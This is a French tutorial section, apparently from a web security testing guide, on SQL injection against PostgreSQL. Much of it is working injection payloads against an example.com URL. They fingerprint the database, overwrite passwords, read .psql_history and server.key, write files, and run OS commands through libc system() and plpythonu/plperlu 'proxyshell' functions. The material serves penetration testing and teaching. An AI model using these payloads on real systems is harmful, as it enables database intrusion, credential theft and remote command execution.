Dans cette section, certaines techniques d'injection SQL pour PostgreSQL seront abordées. Gardez à l'esprit les caractéristiques suivantes:
Pour l'exemple nous supposerons que http://www.example.com/news.php?id=1 est vulnérable aux attaques par injection SQL.
Quand une injection SQL a été trouvée, vous devez soigneusement identifier le moteur de base de données. Vous pouvez déterminer qu'il s'agit d'un moteur de base de données PostgreSQL backend en utilisant l'opérateur ::cast.
Exemple:
http://www.example.com/store.php?id=1 AND 1::int=1
En outre, la fonction version() peut être utilisée pour récupérer la bannière PostgreSQL. Cela permettra également de découvrir le type et la version du système d'exploitation sous-jacent.
Exemple:
http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
Exemple de bannière qui pourraient être renvoyée est:
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
Pour mener des attaques par injection SQL aveugles, vous devriez prendre en considération des fonctions intégrées qui suivent:
À partir de la version 8.2, PostgreSQL introduit une fonction intégrée, pgsleep(n), pour mettre en pause processus de la session courante pendant n secondes. Cette fonction peut être exploitée pour exécuter des attaques sur la base du temps (étudié en détail lors des Injections SQL aveugles). En outre, vous pouvez facilement créer un pgsleep(n) personnalisée dans les versions précédentes en utilisant la libc:
CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
Une chaîne peut être codée afin d'éviter l'échappement des quotes, en utilisant la fonction chr().
Disons que vous voulez encoder la chaîne 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116
Nous pouvons coder «root» comme suit:
chr(114)||chr(111)||chr(111)||chr(116)
Exemple:
http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--
L'identité de l'utilisateur actuel peut être récupérée avec la commande suivante SQL SELECT:
SELECT user SELECT current_user SELECT session_user SELECT usename FROM pg_user SELECT getpgusername()
Exemple:
http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL-- http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--
La fonction intégrée current_database() retourne le nom de la base de données actuelle.
Exemple:
http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--
PostgreSQL fournit deux manières d'accéder à un fichier local:
Cet opérateur copie les données entre un fichier et une table. Le moteur de PostgreSQL accède au système de fichiers local en tant qu'utilisateur postgres.
Exemple:
/store.php?id=1; CREATE TABLE file_store(id serial, data text)-- /store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
Les données suivantes peuvent être récupérées en effectuant une Injection SQL de la requête UNION:
Exemple:
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;-- ... ... /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
Cette fonction a été introduite dans PostgreSQL 8.1 et permet de lire des fichiers arbitraires situés à l'intérieur du répertoire de données SGBD.
Exemple:
SELECT pg_read_file('server.key',0,1000);
En retournant la commande COPY, on peut écrire le système de fichiers local avec des droits d'utilisateur postgres
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
PostgreSQL fournit un mécanisme pour ajouter des fonctions personnalisées à l'aide de deux bibliothèques dynamiques et de langages de script comme Python, Perl et Tcl.
Jusqu'à PostgreSQL 8.1, il était possible d'ajouter une fonction personnalisée liée à la libc:
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
Puisque le système retourne un entier comment pouvons nous aller chercher les sorties stdout système?
Voici une petite astuce:
CREATE TABLE stdout(id serial, system_out text)
SELECT system('uname -a > /tmp/test')
COPY stdout(system_out) FROM '/tmp/test'
SELECT system_out FROM stdout
Exemple:
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- /store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT –
/store.php?id=1; SELECT system('uname -a > /tmp/test') --
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
PL / Python permet aux utilisateurs de coder des fonctions PostgreSQL en python. Ce qui n'est pas conseillé car i l n'est pas possible de limiter ce que l'utilisateur peut faire. Ce n'est donc pas installé par défaut et peut être activée sur une base de données par createlang
SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
CREATE LANGUAGE plpythonu
CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
SELECT proxyshell(os command);
Exemple:
/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
plperl nous permet de coder des fonctions PostgreSQL en Perl. Normalement, il est installé en tant que langage de confiance afin de désactiver l'exécution des opérations d'exécution qui interagissent avec le système d'exploitation sous-jacent, telles que open. Ce faisant, il est impossible d'obtenir un accès au niveau système d'exploitation. Pour réussir à injecter un ProxyShell en tant que fonction, il faut installer la version non sécurisée de plperl=plperlu, pour éviter le masque de l'application que l'on appelle filtrage des opérations fiables / non fiables.
SELECT count(*) FROM pg_language WHERE lanname='plperlu'
CREATE LANGUAGE plperlu
CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu
SELECT proxyshell(os command);
Exemple:
/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;
/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--